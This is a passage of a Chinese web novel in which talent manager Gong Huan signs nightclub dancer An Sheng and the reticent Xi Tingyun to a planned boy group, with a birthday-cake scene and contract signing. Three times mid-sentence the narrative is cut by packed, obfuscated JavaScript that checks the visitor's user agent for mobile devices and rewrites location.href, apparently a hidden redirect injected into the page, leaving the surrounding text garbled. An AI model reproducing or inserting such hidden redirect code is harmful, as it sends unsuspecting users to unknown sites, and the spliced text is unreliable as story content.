台下,“灵蛇”一进化妆室便扯下汗湿的黑色口罩,额发汗涔涔的,靠坐在休息椅上平复呼吸。 方才给他伴舞的三个舞者也接连下台,进了化妆间看见他,便阴阳怪气地内涵: “你这体力也太差了吧,一看就是平时没有锻炼,不像我,我汗都没流几滴。” “是啊,安声,也就一个小时,你就不行啦?好逊~” 两人不知脑补到了什么,互相看一眼偷笑起来。 灵蛇,也就是安声。 他抬手抹了把额头汗水,五指拢起额发往脑后梳。 光洁的额头露出,抬起脸赫然有种逼人的艳丽美貌。 暖褐色的眼眸嵌入圆弯的眼眶,眼尾上扬,与眉骨形成标准的三角连点。 面对他人的怪里怪气,他还扬了扬眉毛,微微睁大眼睛,眼底带着层波澜水光,嘴巴微张,勾起浅浅笑意,牵连到脸颊一侧的梨涡。 “啊,我有锻炼的,”他认真细数着,“白天我去跑了10公里,一个小时的举铁,50个俯卧撑,体力消耗得有点多,所以刚才有点吃不太消......抱歉呀,没拖你们后腿吧。” 安声真诚地看他们,带着内疚的眼神。 两个伴舞:“......” 装你大爷&*&*%%。 两人吃瘪没好气地卸完妆离场。 临走前还蛐蛐几句“没脑子的花瓶”、“只会媚女”之类的话,想看看安声的反应—— 结果他专心致志地照镜子卸妆,像是一点儿都没听见他们说什么。 两个伴舞气呼呼地走了:!!服了!骂人都没人接招!! 化妆间一时安静下来,DJ背景音乐模糊减弱不少,偶尔能听到T台前传来的欢呼尖叫声。 安声用卸妆水卸掉大部分妆容,肤色反而更苍白几分。 他低头抽出纸巾想再擦擦脸,刚一抬头对上镜面—— 猛然发觉里面多了个女人,正抱着手臂靠在后面打量他。 安声被吓了一跳,他忙随手拿起一把手持镜挡住脸,转过身眨巴眨巴眼睛看着宫欢,很有礼貌的说: “小姐姐,我们后台是不能随便进来的,可以请你出去吗?” 宫欢理直气壮地摇头:“不行,我好不容易混进来,怎么能就这么随便出去了。” 安声:“啊?” 他为难地眼睛左右瞟,企图找人救他,但化妆室除了他和宫欢没有其他人。 没遇到过这种情况啊,怎么办,喊人吗? 喊,喊救命吗? 面前的女人慢慢靠近,不像是粉丝,像是个富婆姐姐。 宫欢从刚才安声下台前,就趁着没人注意偷摸到后台。 她跟酒吧老板认识但没到特别熟的地步,光明正大的进不来,而且她看见不少人想进来找“灵蛇”要签名之类的都被拦在外面。 还有些叫嚣着几万要他陪一晚,也被一视同仁地挡住。 宫欢简单打听过。 灵蛇在酒吧驻场跳舞半月左右,就将酒吧的经济拉高到了一个峰值。 只是这位神秘的灵蛇从不露脸,向来都是戴着口罩跳舞,只露出眼睛和身体部位。 脸都没漏,光是凭舞蹈动作就能让那些人嗨起来。 其中不乏有氛围灯光和背景乐的作用,宫欢觉得更多的是灵蛇本身作为点睛之笔的出现,才能达到燃爆的效果。 他的存在等同于拉高所有的配置。这样天生的舞台强者,在酒吧做驻场舞者太可惜了。 宫欢在距离安声两步远的位置时停下脚步,他比她高出一个头,就见宫欢满意地点头:“我很中意你。” 安声大致能猜到宫欢的来意。 之前也不是没有富婆姐姐想要包养他,安声都拒绝了。 他来这只是为了将以前学过的东西发挥出作用,被包养不是他最终目的,反而会影响他。 于是可以看见,安声仿佛做了很重大的决定,他慢慢放下遮挡脸的物件,垂眼直勾勾地凝视宫欢,语气真挚动人: “对不起姐姐,我是有底线的,就算,就算你真的很喜欢我也不行,我很高兴能被你们看到,有你们的捧场让我对自己更有信心。但如果因为我的某些表现被你误会了我很抱歉。” “包养什么的,真的不行,”安声说着轻轻拉起宫欢的手抚上自己侧脸,宫欢当场石化,他低眉顺眼地蹭了蹭宫欢手心,“谢谢你的喜欢,我会更努力的。” 宫欢足足宕机了20多秒。 才面部扭曲地抽回手,像是沾上什么似的甩了甩,在化妆台上连抽几张纸擦手,一副很嫌弃的样子。 看得安声不解地歪了歪头。 “谁要包养你!!!!”宫欢差点张嘴就要骂,但看见安声那张脸,硬生生拐了个弯,“你以为你算哪根甘蔗,我非得尝尝味?” “我包养你干嘛!!谁会做这种伤财又伤色的事!??” 她骂得很收敛。回想起刚才安声被伴舞说小话都没什么反应,宫欢感觉这孩子脑回路可能不是正常节拍。 她索性直接摊牌:“你最近上网了吗?” 这下安声彻底不懂她了,困惑的眼睛望着她,“有啊,但是这和姐姐闯进后台有什么关系?” 好吧,再直接点。 宫欢拿出手机打开某音,第一条视频就是她,她将手机举在安声面前。 屏幕上正是宫欢最近的伟大事迹,博主正说到她的成名史。安声目不转睛地看着,连宫欢收起手机时视线都下意识追随。 “好看?”宫欢抱起手饶有兴趣地问他。 就算他再没眼色都看得出来,视频是在黑宫欢。安声歉意笑笑,很诚实地说:“嗯......原来你就是宫欢,我听说过你。” 宫欢懒得绕弯子,她找了个位置坐下,开门见山:“我刚才看过你的舞台,很不错,动作姿势都特别有张力,你之前是学舞蹈的吗?” 安声隐约察觉到,这似乎是个机会。 一个经纪人找到他,并且夸赞认可他。如果努力抓住机会,他以后会有更大的舞台,不只是在酒吧驻场,永远戴着口罩见不得人。 “是的!” 安声连忙站直许多,明明穿着性.感裸.露的渔网上衣,两点若隐若现。气质却和身体割裂的厉害,出现在他身上怪异却不违和。像是正极与负极在互相吸引。 “宫欢姐姐,我我,你真的很满意我吗?”安声紧张地看她,眼睫颤颤,“我之前学过声乐,舞蹈,各个流行舞种都有学习,有9年舞龄,我真的很喜欢舞蹈!” 安声想起之前看见过一些被欺负的伴舞会抱着有钱人大腿求饶。 他想了想,竟然直接靠近宫欢,蹲下身虚虚环抱着她的腿,没有直接接触,他满眼期待地看她: “求求你收下我吧!我什么都愿意做!刚才是我不懂事拒绝了姐姐,只要能让我去更大的舞台,见识更好的舞团,我什么都会做的!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126297|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宫欢额头青筋直跳,咬着牙:“别逼我踹你,松手!” 安声被吓到乖乖收回手,眼睛却湿漉漉直勾勾地盯着她。 宫欢深呼吸几下,指着其他的休息椅:“坐好,听我说!” 安声本本分分地坐好,手脚摆得整齐,像是在听训。 “我要声明一下,我不潜规则,你别打那个念头,”宫欢说,“刚才我观察过,你的资质确实很好,我有签你做艺人的想法。” “目前呢,我签合约是20年起步,工资方面不会亏待你,但是前期没有利润前工资是死的,每月......” 宫欢眼珠转了转,她说,“五万。” “你在这的薪资好像并不高,酒吧会抽成很多,当然,想赚得多就要去陪其他的VIP。” 宫欢继续忽悠,“我观你骨骼惊奇,坚守自己的底线不答应包养这件事,我认定你就是我要找的人!” “不被利益诱惑,不为美色所动!”宫欢慷慨激昂,“这样的你哪怕在水深火热、癞蛤蟆漫天飞的娱乐圈也会有自己的天地!” 说完一番长篇大论,宫欢舒了口气。 她再一看安声,已经被这番言论感动的眼含热泪,宫欢果断给予最后一击:“所以,做我的艺人吧!让我们合作!” “我愿意!” 安声大声应答,甚至激动地跳起来抱住她,他俯身亲了亲宫欢侧脸,“谢谢欢姐愿意给我机会,我一定不会让你失望的!” 宫欢维持着表面的笑,手背擦了擦被亲的地方。 ——男人的把戏。 安声幻想着宫欢构建出来的未来,激动片刻后慢慢平复下来,忽然想到个问题。 他踟蹰犹豫着,所有表情都写在脸上。 宫欢看出来了,“你还有什么顾虑吗?” “签约成为艺人就算是有一份正经工作吧……”安声问。 “当然了,多少人梦寐以求都求不到,”宫欢摊手数着成为艺人的好处,“钱,名誉,无论哪个都让人求之不得,你怎么突然这么问?” 在舞台上大胆的青年此刻纠结扭捏着,最后还是说了:“其实,我有件事想麻烦欢姐你帮忙。” 宫欢讶异,自然而然地想:“你需要预支工资?” 安声:“不,不是。” 不是钱?那是什么? 在宫欢纳闷的眼神中,安声不好意思地挠挠头:“说来话长了。” “我,我在夜店跳艳舞的事情都是瞒着认识的朋友和父母,”安声娓娓道来,“所以平时上台都是戴着口罩,怕被人认出来。” 宫欢点点头,她理解地说:“很正常啊,我也不想让别人知道我来夜店。” 安声抿唇,“我父母他们比较关心我,平时偶尔会说来工作的地方看看我。” “我肯定是不能说实话的嘛…夜店跳舞谁都不会接受。于是我就骗他们说在做街边驻唱歌手,所以我白天会去街边唱歌,晚上来夜店跳舞......” 宫欢不由得佩服,看不出来安声还是个唱跳俱佳的选手,“那你想要我怎么帮你?” “过段时间他们可能还会来看我,”安声心虚地看她,“到时候就要麻烦欢姐说一说你是怎么在一堆驻场歌手里选中我的故事......” 宫欢:“......” 她无语地拿出名片递给安声,“想好了明天来这里找我,我会给你安排好一切。” 在安声低头看名片时,化妆间外响起说话声,他紧张地抬头想掩护一下宫欢,结果已经看不见她人影了。 不愧是欢姐。 来去自如。 安声低头看着名片,仿佛抓住了通往未来的大门把手。 7. 生日快乐 挤过T台下方热舞的人群,宫欢艰难地躲避着,那些跳嗨的人非要拽着她热舞,气的她偷摸踩了几个人脚才挤开一条路出来。 宫欢走到二楼才舒了口气。 好在刚才借着化妆间和舞台的连接中空部分钻了出来。 不然被逮到挖墙脚,以后这家酒吧可能把她拉入黑名单。 她倒是不稀罕黑名单,只是以后应酬交际就麻烦了。 宫欢回到卡座,卢佳正醉醺醺地抱着男模的腰:“你要什么,尽管提,姐有的都给你!卡随便刷,酒随便点,嗝——” 其他几个网红也醉成一团,有的在一边抱着垃圾桶吐。 宫欢懒得叫醒这群人,直接拿起包去刷了卡付款。 之前的领路男模见她要走,找人把车开来,热情地送她上车,招手送别: “下次见哦欢姐。” 不知是不是解酒药起了作用,宫欢此刻异常清醒。 她瞥了眼车载智能,凌晨一点半,按理说应该随便找家酒店住一晚,省去回家的路程。 但不知怎么的,可能是现在心情平静,想吹吹晚风,开车畅行在路上散散心,顺便捋清楚思绪接下来该怎么做。 宫欢驱车往家走。 好在今晚没有白来一趟,让宫欢发现个宝贝。看起来很好忽悠,单纯好骗,舞台风格却很有张力,的确是捡到宝了。 思绪发散,开车的时间变得短暂。没多久她开车驶进别墅区,车身拐进车库,宫欢拿出包下车。 车库距离别墅大门有一段距离,宫欢踩着高跟鞋慢慢走过去。 刚走两步,视线隐约落在别墅门外那若隐若现的身影处,路灯朦胧地洒落柔柔的光线,打在那人的头顶。 他坐在别墅门外的草坪台阶上,撑着下巴半阖眼,昏昏欲睡。怀里似乎抱着什么东西,遮住了半个身子。 宫欢的脚步慢下来,却反而惊醒他。 奚亭云眼皮动了动,睁开眼看见她。 像裹挟暮色冲破黑夜寂静的精灵,整个人熠熠生辉,让夜不再黑暗。披肩的卷发散在肩膀后面,发顶有细微的碎发翘起,眉眼柔和灵动,站在不远处静静地看他。 “你怎么在这坐着?”宫欢不解地问,“里面有人,摁门铃会给你开门。” 奚亭云站起身拍拍身后的碎叶草根,手里提着什么,路灯恰好没照到那里。 他说:“我给你发过消息说到了,你没回,就以为你在忙,想等你忙完再说。” 他出现在这,看来是决定好成为她的艺人了。 今晚双丰收。 宫欢拿出手机简单翻看了几下,有个陌生号码发来短信,应该就是奚亭云的。 【你好,我是奚亭云,已经到了名片上的地址,可以麻烦来接我一下吗?】 有礼貌的太过头了,他连电话都没有打。 宫欢那会儿在酒吧应酬,怎么会注意到这条小小的短信。 再抬头时,她扬起习惯性的笑脸:“抱歉,我有时候会在外面忙,所以不经常看消息,下次有急事给我打电话更好。” 宫欢几步靠近他,又错身而过,输入密码打开别墅大门。 她在前面带路,简单介绍几句:“这是我住的地方,也是工作地点,地方有点小,只能麻烦你先将就一下,诶对了,你什么时候到的,等了多久?” “没有很久,刚到。” “那我回来的还挺是时候。” 奚亭云跟着她走入别墅,抬眼四处望去,足有四五层楼高的别墅,进入大门后一段长长的路,两边种植着绿茵茵的草地和花卉植物,走了两三分钟才到正厅大门。 宫欢推开右侧的门,大厅灯光骤然亮起。 强光刺激到奚亭云的眼睛,在黑暗中等待太久,他下意识闭了闭眼,缓和着眼球被刺激的感觉。 宫欢把包丢在一边,跑去厨房倒水,“你先坐会儿,我去给你倒杯水。” “好。” 奚亭云将手中提着的盒子放在客厅的茶几上。像刚步入新家的野狗四处打量巡视。 宫欢端着水过来,里面泡着一片柠檬,看见他张望忙着招呼:“快坐,喝点水。” 奚亭云看她坐下后才跟着坐好,端起水喝了几口,垂眼盯着水杯里的柠檬片。 坐姿笔直僵硬,连端着杯子都是两只手,很不适应。 宫欢这会儿才发现他没带行李箱,只有茶几上放着个蓝粉相间的礼盒,盒子不大,看着不像是能装什么东西。 她有点纳闷:“你没带行李吗?” 难道他还不确定要不要接受这份工作? 奚亭云摇头,将玻璃杯放回茶几的杯垫上。他忽然起身,半弯腰俯下身体去解开礼盒的彩带,神色认真专注,动作缓慢轻柔,像是对待着很重要的东西。 宫欢坐在沙发前,不明所以地看着他拆礼盒。 从刚才遇到奚亭云开始,她就始终搞不懂他的每一个举动,明明是最简单的人,怎么那么难判断他的行为? 是给她的见面礼物? 还挺会做人—— 内心的想法在礼盒被拿掉后戛然而止。 宫欢的目光从他拆彩带的手移到礼盒内那份蛋糕。 小巧精致的淡粉色蛋糕体淋着奶油白的花边,边缘有些许融化,四周洒落五颜六色的条形糖,中间坐着一个翻糖小人,是宫欢生日宴那天穿着的服饰,小人手里捧着26岁的生日蜡烛,笑的可爱。 他...... 宫欢不敢置信地抬眼,看奚亭云,看这个陌生的人。 “生日快乐,宫欢。” 他嘴角勾起浅浅的笑,眉眼间生动得像是灿烂的烟火忽然炸开,和初见时的冷淡矜持不同,他像是得逞了,目不转睛地注视宫欢的所有表情。 10秒过去,20秒过去,30秒过去。 两人才收回各自失态的表情。 宫欢后悔没给自己倒水,她现在很想喝一口。 “谢谢,”宫欢没办法去细想种种细节,她现在大脑一片空白,“嗯......你,这个蛋糕,不错,我很喜欢,你很会做人嘛。” 她都不知道自己在说什么。 奚亭云没在意那些,他找出盘叉,替她找借口:“我看到生日宴的视频了。” 宫欢莫名地不敢看他,没由来的脸红耳热:“啊对对,我想也是。” 奚亭云:“你没有许愿。” 宫欢:“对对,没有许愿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126298|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 啊?等等?什么意思? 他要—— 奚亭云找到火柴,划亮火光,点燃翻糖小人手上的蜡烛,然后半蹲下身在茶几旁边,看着宫欢的眼睛,“现在,许愿吧。” 宫欢想不出拒绝的理由,她只好再次闭眼双手合十。 宫欢:抱歉了再来一次,2、2...2,请不要让别人影响我赚到20亿!!!谢谢感恩!!感激不尽!!! 她一口气许完愿赶紧睁眼,迅速吹灭了蜡烛。 像是实在受不了两人之间的这种氛围,她催着他:“好了还有什么事明天再说,我带你去客房早点休息。” 宫欢在前面走得脚步飞快,到二楼客房打开门和灯,侧身看向跟来的奚亭云: “今晚你先睡这里,其他的明天再详细安排,里面什么都有,今晚就这样,晚安。” 说完宫欢头也不回迅速的想走人,奚亭云忽然叫住她:“等等。” 宫欢脚步根本不停:“不等,马上睡!” 奚亭云只好跟了句话,宫欢走得快,只能听到轻微的声音:“记得吃蛋糕。” 吃吃吃,谁大晚上吃蛋糕,胖死谁啊。 她匆匆下楼,没注意到二楼客房的门又打开了一扇。 高姐靠在门边,盯着还站在门口的奚亭云,不知道刚才看见了多少。 两人互相对视片刻,高姐冷哼了声,重重关上门。 奚亭云缓缓将门关上,扫视一圈房间后才躺在床上。床很软,他像是沉浸在柔软的梦境里,盯着天花板,脑子里全是宫欢刚才的一举一动。 从宫欢找上他的那刻,心就不知飘去了哪里。 她说签约,艺人,什么什么的他一个字都听不进去,直到那张名片递过来,才像是确定下了某些东西。 他们之间可以建立的连接关系。 不再是遥不可及的世界,而是可以靠近,成为她所需要的存在。 宫欢前脚离开,他马上就收起了摊子,连夜赶到A市,去找了个制作蛋糕的工坊学习制作一个蛋糕。 掌控温度,打发奶油,耐心又细致的雕刻翻糖小人,每个步骤都很难,尤其对于他这种生手。 奚亭云没让任何人帮自己,一心一意地将蛋糕制作完成,然后提着蛋糕去名片上的地址。 他想了很多。 宫欢会露出什么表情,于她而言,他只是个陌生人。 会敷衍的笑笑,说谢谢吗? 会很惊喜地吃蛋糕吗? 还是,会被他的举动怔住,无法言喻。 无论宫欢会露出怎样的表现,他都会记住。好在,一切在他的预测之中,她是感动的,却又想否认,不想承认自己被一个陌生人所感动,别扭地躲开。 有点可爱。 这正是奚亭云想要的,他要深刻的、牢牢地在宫欢心底留下最深的初次印象。 深刻到她每次见他都会不自在,她每次吃蛋糕都会想起他的脸,他会出现在她的生活里。 指腹还有制作蛋糕时刀划过的伤口,奚亭云却不觉得疼,而是值得。 奚亭云闭上眼在床上蜷缩成一团,侧脸蹭了蹭被单。 一觉醒来,他还会看见她吗? 8. 忽悠画饼 宫欢是被一通电话叫醒的。 手机铃声唱着情歌最动人的高潮片段,可却那么吵闹的叫醒宫欢,她两眼一睁,带着怨气的摸到手机接通: “有屁快放。” 手机那头的兴奋声音丝毫不受影响:“欢欢姐我到地方了,这里是你家吗?好大一栋啊,只有你一个人住吗?不会很空旷——嘟嘟嘟......” 通话被挂断,安声无辜地放下手机看着通话界面,嘟囔着:“怎么挂了?” 不多时,别墅大门打开。 宫欢头发扎成凌乱的丸子头,卡通棉质睡衣,没形象地走到门口,强撑着精神朝安声摆手:“进来吧。” 安声明显精心打扮过,头发做过定型,几缕发丝垂在额头前,颇有些潇洒的意思。 上身是背心搭配宽松白皮衣,胸前口袋位置牵出一根装饰链条连接到衣摆,下身是宽松长裤。 掩盖不住的青春气息扑面而来。 他看见宫欢时眼眸瞬间亮了亮,小跑过来,凑近礼貌性地亲亲她侧脸:“欢欢姐午安,你刚起床吗?已经十一点了。” 宫欢瞥他一眼,抬手用拇指擦了擦脸。 男人的把戏。 两人前后往里走。 安声不免抬头四处观察,大门的围栏后是一条长廊,两边草坪上洒水器正浇灌着,花卉绿植一片鲜嫩,只是看着就让人心旷神怡。 主楼上装饰着彩色小饰品,生日宴刚过几天,还没全部拆下。 安声仰着脑袋赞叹不已。 他家不算很穷,是比较富有的小康家庭,不过比起宫欢的别墅还是差得特别远。 恍惚间,他似乎看见别墅二楼的纱帘微微拂动,有模糊不清的影子夹在其中。 正要仔细看时却又看不清了。 大概是盆栽的影子吧。 宫欢走入大厅,回头发现安声还站在原地张望,催他: “看什么呢,进来啊,我正好要跟你聊聊未来的发展规划。” 走进别墅内部,耳边传来敲打键盘的声音。安声扭头看过去,左边正是在忙碌工作的高姐。 宫欢简单介绍:“这位是高姐高闲,我的助理,以后有什么事找不到我都可以找她。” 安声乖巧问好:“高姐好,我是安声,以后麻烦您了。” 高姐点点头:“你好,不用这么客气。” 几人正聊着,二楼走下来一道身影。 奚亭云恰好到处的下楼,宫欢朝他招招手,“奚亭云,来一下这边,我有事要跟你们说清楚。” 被叫到的某人,像是才发现来了新人似的。 奚亭云随和应声:“好。” 众人坐在休息区的真皮沙发上,奚亭云和安声一左一右地坐在宫欢两侧,她简单介绍过两人的身份认识后说起初步规划。 “我预备初步组建一个三人男团,进行唱跳方面的发展。” 宫欢说着站起身,走到茶几前看着两人: “你们能找过来说明已经做好了决定,那我就把你们计入规划,等下去填写你们的简历。事无巨细的写出你们以前都做过什么,有哪方面特长,我会根据这方面去给你们制定方向,然后就是签合同了,其他的会一步步安排。” 宫欢说着注视安声双眼,很耐心认真地:“你们每个人的定位和人设都不一样,我会给你们一个人设,按照这个模板去演绎。不过放心,为了防止出问题,我会按照你们本身的情况来安排,免得反差太大。” “比如你,”宫欢看向奚亭云,“你的外形偏温和深情,性格嘛沉稳内敛挂的,就按照这方面来好了,平时在面对镜头的时候,怎么45度仰望天空忧伤就怎么装,好吗?我这么说可以理解吗?” 奚亭云凝眉深思,缓缓点头:“我会慢慢学习。” 宫欢及时给予鼓励:“我就喜欢你这样好学的。” 安声迫不及待地跃跃欲试:“那我呢?我呢?” 宫欢也很喜欢乐于回答的学生。 她笑了笑,起床气散了大半:“你的舞台风格很不错,昨天看下来,你台下性格是比较单纯热情的,台上反而是很强势的吸引所有目光,嗯....人设风格嘛,就维持你现在就好。” “我最近还会去继续筛选人选来参与男团,你们这段时间需要互相认识了解,这样在舞台上才能更好的配合。” 宫欢一本正经地说,“比较重要的是,短期内都要住在我这,因为要对你们进行各方面的调整,这样最方便,怎么样?你们有意见可以随便提。” 安声看了看大厅旁边的楼梯,向上延伸似乎有好几层:“住在这里?” 宫欢以为他担心不够住的问题:“我这虽然不是很大,不过住七八个人绰绰有余。” “一楼是大厅,休息区,用餐区,外面有后花园和泳池,-1层有健身房,后面我会让人收拾个地方出来给你们作为日常练习使用。” “二楼有四间房,目前是高姐偶尔留下来住客房,奚亭云住了一间。三楼也有空房间,你们可以自己随便选,选好之后喜欢怎么装饰房间都可以。” “其他的我还没安排,总之放心住下吧,你们后面要做身材管理之类的我都要看着。” 宫欢一口气说了不少话,阿姨端来几杯柠檬水,她拿起一杯就喝了大半:“怎么样,你们想想还有什么疑问,或者是比较介意的,说下来我和高姐会做记录。” 奚亭云没有任何犹豫,像是不在乎流程:“怎么签合同?” 高姐停下手里的事,从身后的包包里拿出一份档案袋放在茶几上推过去:“先填了你们的简历和一些个人特长,之后再看看合同上面的条约,没问题就签,不懂的问我。” 奚亭云借过文档袋,没有犹豫,直接填写起了简历。 不知道的还以为他是托,连看都没有看很久,拿起笔就写不带停的。 安声纠结片刻,起身跑到宫欢旁边和她窃窃私语:“欢欢姐,你还记得我和你说的事吗?” 宫欢回想了下:“知道,让我编故事忽悠人嘛,这我专业。” “住下来的话,我需要回家带点行李过来,我爸妈会问情况的,”安声说,“到时候怎么说呀。” 宫欢一本正经地教他:“直接说你住我家啊,哦不对,你就说住宿舍,如果他们要来看的话给他们地址就好。” “我到时候跟其他人串通一下帮你圆谎,我这又不是什么不正经的地方,别搞得偷偷摸摸。” 他们凑到一起嘀嘀咕咕,奚亭云喝了大半杯的水,最后还是没忍住突兀地出声打断:“写好了。” 这么快? 宫欢下意识朝他看去,签约合同至少有十几页,他随意翻看几下就签了。 是真的抓住机会不犹豫,还是走投无路了? 宫欢下意识脑补出一堆他的悲惨身世。 “啊,你这么快,我也来写。”安声坐回沙发填写起简历。 高姐收起奚亭云签好的文件递给宫欢,让她过目。 宫欢一边看奚亭云,一边拿起简历收回眼,注意力集中在简历上面。 27岁,上过职高,学的播音主持,工作经历密密麻麻的有十几条。 街边摆摊、奶茶店店员、美食街烤串、自媒体助理等等,基本上都和娱乐圈挨不到边,唯一一个和专业有关系的就是给某网剧配音。 宫欢不由得微微皱眉。 奚亭云的外形条件可以,可基本是属于零经验的,培养难度较大,需要下功夫磨练,就是不知道他本人吃不吃得来苦了。 宫欢所说的苦的定义和一般的说法不同。 这个圈里各种利益诱惑摆在面前,更极端的可能会面临尊严人格挑战,有时能将人逼得精神崩溃,巨大的落差很容易让人飘飘然,失去对自己的判断,韩雨寒就是个典型的例子。 曾经韩雨寒还没出道前,只是个爱弹吉他的业余人士。 宫欢刚认识他时,笑得还很腼腆,为人内向不善言谈,有个陪伴多年的女友。 他红了之后的第一件事就是和女朋友分手,第二件事就是开始蹬鼻子上脸。 为此,宫欢没少打压式教育来压下他日益膨胀的心,但最后还是以烂摊子收场。 这些都和体力劳动的苦定义不同,这种苦是精神层面的,直面最卑劣的人性,一旦把控不好,最容易大起大落,误入深渊。 只能以后慢慢接触来看了。 她思索着,没注意靠近的身影。 直到奚亭云靠近身侧,宫欢手中的简历纸面投下淡淡的阴影,紧跟而来的是清淡香甜的蛋糕香味,宫欢抬头就看见奚亭云的脸。 她还没出声,他先发制人:“蛋糕好吃吗?” 宫欢当场噎住。 昨天将奚亭云送回客房后,她盯着那份蛋糕看了许久。 脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126299|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋里的问号堆成了山。 跨省而来,什么行李都没有带,只带了一份生日蛋糕。 奇奇怪怪的态度,意味不明的眼神。 宫欢脑袋都要爆炸,她只得将所有想不通的事情归在——他想巴结领导上面。 这么一想,事情就简单多了嘛。 想通了,她于是毫无负担地切下一块蛋糕尝尝味道,剩下的放进了冰箱。 这会奚亭云提起,宫欢反应过来:“吃了,味道很不错嘛,比我吃的很多牌子的蛋糕口味都要好吃。不过没吃完,我让阿姨拿来给你们都尝尝。” 奚亭云默不作声。 安声竖起耳朵:“有蛋糕吃吗?” “有,趁着现在想吃什么就去多吃点吧。”宫欢说着忽然露出个奇怪的笑,“后面可就吃不到了。” 这、话,说的神神秘秘。 安声半信半疑,看过合同后签下名字,递给高姐。 忽然,奚亭云手攥成拳抵在唇边,咳嗽两声。 距离最近的宫欢下意识转过头看他,自然而然地看见男人手指上非常显眼的创可贴,她一怔:“你手指怎么了?” 奚亭云慌着放下手,掩饰地说:“没什么,小伤口,我去拿蛋糕过来。” 他走去厨房找阿姨,留宫欢站在原地又冒出问号,捉摸不透。 怎么感觉不对劲? 手指上的伤口,蛋糕,不会吧...... 宫欢有个离奇的猜测,她不敢往下猜了,摇摇头继续专心看简历。 安声22岁,专业是声乐舞蹈。 工作经验堪称炸裂,夜店驻场舞者、钢管舞舞蹈老师、街边驻唱歌手、地下商场街演等等。 高姐默默往奚亭云那边看去一眼。 怪不得,怪不得这人大早上起来问阿姨要创可贴,原来是憋得这个坏心。 宫欢将两人的简历都看过后,刚好奚亭云拿着蛋糕回来,切成几份分给安声和高姐。 轮到宫欢时,奚亭云将蛋糕端给她。 宫欢说了声谢谢,她拿起两份简历和蛋糕准备去楼上书房忙,临走前说:“你们可以多转转熟悉一下,有什么需要的问阿姨或者高姐要就可以,我要去忙会。” “没问题欢欢姐,”安声吃着蛋糕,甜甜地冲她笑,“我们会好好相处的。” 奚亭云目送宫欢上楼,视线往旁边的安声身上瞥去。 他默默吃下两大口蛋糕,奶油在口中化开,尝不出味道。 还是安声主动和他打招呼:“哈喽?看来以后我们就是同事了,我是安声,舞蹈专业的,你呢?” 奚亭云咽下奶油,不卑不亢地说:“播音专业,不过已经很久没做过这行了,最近,在做炒饭。” 安声以为自己听错了,眼睛瞪大,不敢置信:“什,什么??” 他以为自己在夜场驻跳转正来做艺人就足够让人瞠目结舌了。 没想到这位更是炸裂级。 只见奚亭云神情轻松自然,不觉得说的话有什么问题:“之前一直在夜市摆摊炒饭,有好几年没接触过专业了。” 安声艰难地问:“那你,学过舞蹈吗?” 奚亭云:“没有,从未接触过。” 没记错的话,他是来参加男团的吧!? 为什么做炒饭的都来了? 安声觉得自己再次被骗了。 就像他被骗去夜店驻场跳舞,就像去应聘舞蹈老师被骗交钱学习。 他看向忙碌的高姐,高姐很无辜地用手指比了个五:“合同签了没办法毁约,违约金50万。” 多少!?? 安声险些把刚才吃进肚子里的蛋糕全部吐出来。 他马不停蹄地顺着刚才宫欢离开的路线找过去。 三楼书房的门没关。 宫欢正在一面白板上写着造型人设的一些想法,听见急匆匆的脚步声转过头去。 “欢姐!” 安声跑得太快,书房的木地板又打滑,他一个脚步没刹住,脚下滑出长长的一段距离后,正正好好地噗通一下跪在了宫欢面前。 宫欢:“......”不用这样吧。 安声:“......”听我解释! 两人一阵沉默。 事情还没完,此时一直跟在安声后面的奚亭云走了过来,出现在书房门口。 三人六目相对,死一般的沉默。 9. 劳模宫欢 距离滑跪那天过去了两天。 安声郁闷地吃着早饭,看见对面的奚亭云就唉声叹气。 宫欢说得很好听:“你要相信我的眼光,别看他之前是做什么的,要看他以后会怎么做。再说了,我还不是从那么多的男伴舞里看中你了?” 当时她拍拍安声的肩膀:“目前只是初步的阵容,后面还会调整的,不要急嘛,到时候你就是主C位,我会着重培养你的,让你单独出道~” 说这话的时候宫欢书房的门关得很严实,也只有私下她才敢这么说。 她揽着安声的肩膀有点费力:“你的段位在我这就是王者级别的,他小喽啰一个,你还带不动他吗?” 就这么一句句的,安声被宫欢哄得摸不着北,最后心满意足地出了书房,结果奚亭云在门外一直没走。 经过宫欢的开导,安声对他的意见没那么大了,走过去跟他好好说话:“欢姐说我们要好好配合,接下来要一起合作了,要去熟悉下环境吗?” 安声咬住手中的餐叉,回忆起那天奚亭云的眼神,总觉得有点瘆得慌。 两人正在用早餐,高姐提着电脑包从大门进来,看见他们打了个招呼:“早。” “高姐早。” “早。” 高姐走过来简单跟他们说了下今日安排: 